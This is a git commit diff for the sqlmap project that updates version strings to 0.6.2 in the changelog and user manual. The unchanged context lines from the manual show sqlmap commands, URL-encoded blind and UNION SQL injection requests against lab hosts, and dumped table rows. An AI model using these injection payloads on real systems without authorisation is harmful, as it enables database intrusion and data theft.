mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-11-04 01:47:37 +03:00 
			
		
		
		
	Updated site and doc to 0.6.2
This commit is contained in:
		
							parent
							
								
									56a5e8d390
								
							
						
					
					
						commit
						de980ae79f
					
				| 
						 | 
					@ -10,7 +10,7 @@ sqlmap (0.6.2-1) stable; urgency=low
 | 
				
			||||||
    variable) is an integer and for some reason the resumed value from
 | 
					    variable) is an integer and for some reason the resumed value from
 | 
				
			||||||
    session file is a string or a binary file, the query is executed again
 | 
					    session file is a string or a binary file, the query is executed again
 | 
				
			||||||
    and and its new output saved to the session file;
 | 
					    and and its new output saved to the session file;
 | 
				
			||||||
  * Major improvement to correctly enumerate tables, columns and dump
 | 
					  * Minor improvement to correctly enumerate tables, columns and dump
 | 
				
			||||||
    tables entries on Oracle and on PostgreSQL when the database name is
 | 
					    tables entries on Oracle and on PostgreSQL when the database name is
 | 
				
			||||||
    not 'public' schema or a system database;
 | 
					    not 'public' schema or a system database;
 | 
				
			||||||
  * Minor improvement to be able to dump entries on MySQL < 5.0 when
 | 
					  * Minor improvement to be able to dump entries on MySQL < 5.0 when
 | 
				
			||||||
| 
						 | 
					@ -19,7 +19,7 @@ sqlmap (0.6.2-1) stable; urgency=low
 | 
				
			||||||
    identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
 | 
					    identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
 | 
				
			||||||
  * More user-friendly warnin messages.
 | 
					  * More user-friendly warnin messages.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 -- Bernardo Damele A. G. <bernardo.damele@gmail.com>  Sat,  1 Nov 2008 10:00:00 +0100
 | 
					 -- Bernardo Damele A. G. <bernardo.damele@gmail.com>  Sun,  2 Nov 2008 19:00:00 +0000
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
sqlmap (0.6.1-1) stable; urgency=low
 | 
					sqlmap (0.6.1-1) stable; urgency=low
 | 
				
			||||||
| 
						 | 
					@ -41,7 +41,7 @@ sqlmap (0.6.1-1) stable; urgency=low
 | 
				
			||||||
    not forcing the entries' order alphabetically anymore;
 | 
					    not forcing the entries' order alphabetically anymore;
 | 
				
			||||||
  * Minor bug fix to correctly handle parameters' value with % character.
 | 
					  * Minor bug fix to correctly handle parameters' value with % character.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 -- Bernardo Damele A. G. <bernardo.damele@gmail.com>  Fri, 20 Oct 2008 10:00:00 +0100
 | 
					 -- Bernardo Damele A. G. <bernardo.damele@gmail.com>  Fri, 20 Oct 2008 10:00:00 +0000
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
sqlmap (0.6-1) stable; urgency=low
 | 
					sqlmap (0.6-1) stable; urgency=low
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -8,7 +8,7 @@
 | 
				
			||||||
<H1>sqlmap user's manual</H1>
 | 
					<H1>sqlmap user's manual</H1>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<H2>by 
 | 
					<H2>by 
 | 
				
			||||||
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.1, 20th of October 2008
 | 
					<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.2, 2nd of November 2008
 | 
				
			||||||
<HR>
 | 
					<HR>
 | 
				
			||||||
<EM>This document is the user's manual to use 
 | 
					<EM>This document is the user's manual to use 
 | 
				
			||||||
<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
 | 
					<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
 | 
				
			||||||
| 
						 | 
					@ -295,19 +295,19 @@ It is available in various formats:</P>
 | 
				
			||||||
<P>
 | 
					<P>
 | 
				
			||||||
<UL>
 | 
					<UL>
 | 
				
			||||||
<LI>
 | 
					<LI>
 | 
				
			||||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.gz">Source gzip compressed</A> operating system independent.</LI>
 | 
					<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.gz">Source gzip compressed</A> operating system independent.</LI>
 | 
				
			||||||
<LI>
 | 
					<LI>
 | 
				
			||||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.bz2">Source bzip2 compressed</A> operating system independent.</LI>
 | 
					<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.bz2">Source bzip2 compressed</A> operating system independent.</LI>
 | 
				
			||||||
<LI>
 | 
					<LI>
 | 
				
			||||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.zip">Source zip compressed</A> operating system independent.</LI>
 | 
					<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.zip">Source zip compressed</A> operating system independent.</LI>
 | 
				
			||||||
<LI>
 | 
					<LI>
 | 
				
			||||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1-1_all.deb">DEB binary package</A> architecture independent for Debian and any
 | 
					<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.2-1_all.deb">DEB binary package</A> architecture independent for Debian and any
 | 
				
			||||||
other Debian derivated GNU/Linux distribution.</LI>
 | 
					other Debian derivated GNU/Linux distribution.</LI>
 | 
				
			||||||
<LI>
 | 
					<LI>
 | 
				
			||||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
 | 
					<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
 | 
				
			||||||
other operating system that can install RPM packages.</LI>
 | 
					other operating system that can install RPM packages.</LI>
 | 
				
			||||||
<LI>
 | 
					<LI>
 | 
				
			||||||
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
 | 
					<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
 | 
				
			||||||
interpreter</B> to be installed on the operating system.</LI>
 | 
					interpreter</B> to be installed on the operating system.</LI>
 | 
				
			||||||
</UL>
 | 
					</UL>
 | 
				
			||||||
</P>
 | 
					</P>
 | 
				
			||||||
| 
						 | 
					@ -334,7 +334,7 @@ and
 | 
				
			||||||
<PRE>
 | 
					<PRE>
 | 
				
			||||||
$ python sqlmap.py -h
 | 
					$ python sqlmap.py -h
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
 | 
					    sqlmap/0.6.2 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
 | 
				
			||||||
                        and Daniele Bellucci <daniele.bellucci@gmail.com>
 | 
					                        and Daniele Bellucci <daniele.bellucci@gmail.com>
 | 
				
			||||||
    
 | 
					    
 | 
				
			||||||
Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
 | 
					Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
 | 
				
			||||||
| 
						 | 
					@ -535,7 +535,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 | 
				
			||||||
[hh:mm:28] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:28] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
[hh:mm:29] [INFO] testing MySQL
 | 
					[hh:mm:29] [INFO] testing MySQL
 | 
				
			||||||
| 
						 | 
					@ -544,7 +544,7 @@ Connection: close
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
					GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
				
			||||||
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
 | 
					CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
| 
						 | 
					@ -562,7 +562,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 | 
				
			||||||
[hh:mm:32] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:32] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -580,7 +580,7 @@ Content-Type: text/html
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
					GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
				
			||||||
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
 | 
					CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -607,7 +607,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 | 
				
			||||||
[hh:mm:23] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:23] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -632,7 +632,7 @@ Content-Type: text/html
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
 | 
					GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
 | 
				
			||||||
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
 | 
					CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -749,7 +749,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
 | 
				
			||||||
<BLOCKQUOTE><CODE>
 | 
					<BLOCKQUOTE><CODE>
 | 
				
			||||||
<PRE>
 | 
					<PRE>
 | 
				
			||||||
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
 | 
					$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
 | 
				
			||||||
  -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
 | 
					  -p user-agent --user-agent "sqlmap/0.6.2 (http://sqlmap.sourceforge.net)"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
 | 
					[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
 | 
				
			||||||
[hh:mm:40] [INFO] testing connection to the target url
 | 
					[hh:mm:40] [INFO] testing connection to the target url
 | 
				
			||||||
| 
						 | 
					@ -895,7 +895,7 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
 | 
				
			||||||
[hh:mm:39] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:39] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
					GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.125:80
 | 
					Host: 192.168.1.125:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
 | 
					Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -907,7 +907,7 @@ Connection: close
 | 
				
			||||||
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
					GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.125:80
 | 
					Host: 192.168.1.125:80
 | 
				
			||||||
Cookie: ASPSESSIONIDSABTRCAS=469
 | 
					Cookie: ASPSESSIONIDSABTRCAS=469
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
 | 
					[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
 | 
				
			||||||
| 
						 | 
					@ -955,7 +955,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
 | 
				
			||||||
GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
Referer: http://www.google.com
 | 
					Referer: http://www.google.com
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
| 
						 | 
					@ -972,7 +972,7 @@ Connection: close
 | 
				
			||||||
<P>
 | 
					<P>
 | 
				
			||||||
<BLOCKQUOTE><CODE>
 | 
					<BLOCKQUOTE><CODE>
 | 
				
			||||||
<PRE>
 | 
					<PRE>
 | 
				
			||||||
sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
</CODE></BLOCKQUOTE>
 | 
					</CODE></BLOCKQUOTE>
 | 
				
			||||||
</P>
 | 
					</P>
 | 
				
			||||||
| 
						 | 
					@ -1058,7 +1058,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&
 | 
				
			||||||
GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
 | 
					Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -1075,7 +1075,7 @@ nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
 | 
				
			||||||
uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", 
 | 
					uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", 
 | 
				
			||||||
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, 
 | 
					response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, 
 | 
				
			||||||
cnonce="df1c0902c931b640"
 | 
					cnonce="df1c0902c931b640"
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
| 
						 | 
					@ -1200,7 +1200,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
 | 
				
			||||||
[hh:mm:50] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:50] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -1222,7 +1222,7 @@ Content-Type: text/html
 | 
				
			||||||
[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -1244,7 +1244,7 @@ Content-Type: text/html
 | 
				
			||||||
[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -2072,7 +2072,7 @@ Table: users
 | 
				
			||||||
| 1  | luther                                       | blissett          |
 | 
					| 1  | luther                                       | blissett          |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 5  | NULL                                         | nameisnull        |
 | 
					| 5  | NULL                                         | nameisnull        |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
| 
						 | 
					@ -2126,7 +2126,7 @@ Table: users
 | 
				
			||||||
| 1  | luther                                       | blissett          |
 | 
					| 1  | luther                                       | blissett          |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 5  |                                              | nameisnull        |
 | 
					| 5  |                                              | nameisnull        |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2140,7 +2140,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
 | 
				
			||||||
"1","luther","blissett"
 | 
					"1","luther","blissett"
 | 
				
			||||||
"2","fluffy","bunny"
 | 
					"2","fluffy","bunny"
 | 
				
			||||||
"3","wu","ming"
 | 
					"3","wu","ming"
 | 
				
			||||||
"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
 | 
					"4","sqlmap/0.6.2 (http://sqlmap.sourceforge.net)","user agent header"
 | 
				
			||||||
"5","","nameisnull"
 | 
					"5","","nameisnull"
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
</CODE></BLOCKQUOTE>
 | 
					</CODE></BLOCKQUOTE>
 | 
				
			||||||
| 
						 | 
					@ -2170,7 +2170,7 @@ Table: users
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
</PRE>
 | 
					</PRE>
 | 
				
			||||||
</CODE></BLOCKQUOTE>
 | 
					</CODE></BLOCKQUOTE>
 | 
				
			||||||
| 
						 | 
					@ -2201,7 +2201,7 @@ Table: users
 | 
				
			||||||
| 1  | luther                                       | blissett          |
 | 
					| 1  | luther                                       | blissett          |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 5  | NULL                                         | nameisnull        |
 | 
					| 5  | NULL                                         | nameisnull        |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2291,7 +2291,7 @@ Table: users
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
| id | name                                         | surname           |
 | 
					| id | name                                         | surname           |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 1  | luther                                       | blisset           |
 | 
					| 1  | luther                                       | blisset           |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 
						 | 
					@ -2854,7 +2854,7 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C
 | 
				
			||||||
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
 | 
					%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
 | 
				
			||||||
06043=6043&cat=2 HTTP/1.1
 | 
					06043=6043&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -2996,7 +2996,7 @@ $ python sqlmap.py --update -v 4
 | 
				
			||||||
[hh:mm:55] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:55] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /doc/VERSION HTTP/1.1
 | 
					GET /doc/VERSION HTTP/1.1
 | 
				
			||||||
Host: sqlmap.sourceforge.net
 | 
					Host: sqlmap.sourceforge.net
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
 | 
